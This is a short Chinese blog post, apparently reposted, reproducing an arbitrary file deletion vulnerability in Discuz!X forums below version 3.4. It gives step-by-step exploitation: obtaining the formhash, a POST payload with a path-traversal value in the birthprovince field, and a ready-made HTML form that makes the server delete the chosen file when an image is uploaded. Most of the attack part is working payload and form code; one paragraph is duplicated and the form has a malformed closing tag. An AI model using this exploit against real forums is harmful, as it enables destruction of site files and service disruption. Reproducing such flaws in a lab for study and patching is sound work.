Discuz!X前台任意文件删除漏洞重现
时间:2020-02-24 18:30:16
收藏:0
阅读:94
漏洞影响了Discuz 3.4 以下的所有版本。
该漏洞存在于upload/source/include/spacecp/spacecp_profile.php,文件中的submitcheck()函数。成功上传文件会跳转执行unlink这个函数。
该漏洞存在于upload/source/include/spacecp/spacecp_profile.php,文件中的submitcheck()函数。成功上传文件会跳转执行unlink这个函数。
1.进入设置-个人资料,先在页面源代码找到formhash值,可以看到值为2599b5e5
2.开启一个插件Hackbar
Post数据:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=2599b5e5
执行后会显示一片空白,你再刷新下或重新访问下就好了。
3.出生地被修改成要删除的文件。
最后构造表单执行删除文件
<form
action="http://192.168.199.217/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="720c16c3"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>
生成.html,上面的需要自己修改。
4.然后随便上传一张图片,就能删除自己要删除的。
5.再访问回去看一下。
原文:https://blog.51cto.com/14259169/2473183
评论(0)